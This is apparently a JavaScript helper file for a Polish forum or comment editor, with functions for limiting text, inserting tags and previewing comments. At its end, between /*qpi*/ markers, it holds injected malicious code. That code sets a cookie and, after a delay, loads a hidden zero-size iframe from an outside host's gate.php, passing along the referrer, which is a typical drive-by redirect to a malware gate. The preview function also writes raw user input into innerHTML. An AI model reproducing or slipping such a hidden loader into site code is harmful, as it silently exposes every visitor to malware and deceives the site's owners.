function limitText(limitedField, countDisplay, limitNum) {
	if (limitedField.value.length > limitNum) {
		limitedField.value = limitedField.value.substring(0, limitNum);
	} else {
		countDisplay.value = limitNum - limitedField.value.length;
	}
}

function putTag(field, strBefore, strAfter) {
   element = document.getElementById(field);
   element.focus();
   // IE 
   if (document.selection) {
	   var oRange = document.selection.createRange();
	   var numLen = oRange.text.length;
	   if(strBefore == "<ol><li>" || strBefore == "<ul><li>") {
       oRange.text.replaceAll("\n", "</li><li>");
     } 
	   oRange.text = strBefore + oRange.text + strAfter;
	   return false;
   // FF i Opera
   } else if (element.setSelectionRange) {
      var selStart = element.selectionStart, selEnd = element.selectionEnd;
			var oldScrollTop = element.scrollTop;
			if(strBefore == "<ol><li>" || strBefore == "<ul><li>") {
        oRange = element.value.substring(selStart, selEnd).replaceAll("\n", "</li><li>");
      } else {
        oRange = element.value.substring(selStart, selEnd);
      }
      element.value = element.value.substring(0, selStart) + strBefore + oRange + strAfter + element.value.substring(selEnd);
      element.setSelectionRange(selStart + strBefore.length, selEnd + strBefore.length);
			element.scrollTop = oldScrollTop;      
      element.focus();
   } else {
			var oldScrollTop = element.scrollTop;
      element.value += strBefore + strAfter;
			element.scrollTop = oldScrollTop;      
      element.focus();
	}
}

function show_id(id) {
if( document.getElementById(id).style.display == "block" )
	document.getElementById(id).style.display = "none";
else
	document.getElementById(id).style.display = "block"
}

String.prototype.replaceAll = function(target, replace) {
var text = this;
var indexOfMatch = text.indexOf( target );
while (indexOfMatch != -1){
  text = text.replace( target, replace );
  indexOfMatch = text.indexOf( target );
}
return( text );
}

function preview(id, who) {
    var text = document.getElementById("tekst_" + id).value;
    var autor = document.getElementById("autor_" + id).value;
    if(who.value == 'Pokaz podglad') {
        document.getElementById("show_" + id).innerHTML = '<div style="width:95%; height:auto; border:1px solid #2081C4; background-color:#F3F7F8; margin-bottom:10px; padding:10px; text-align:left;">' + text + '<br /><br /><div style="width:95%; height:20px; text-align:right; "><i><b>' + autor + '</b></i></div>';
        who.value = 'Ukryj podglad';
    } else {
        document.getElementById("show_" + id).innerHTML = '';
        who.value = 'Pokaz podglad';
    }
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=961827&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
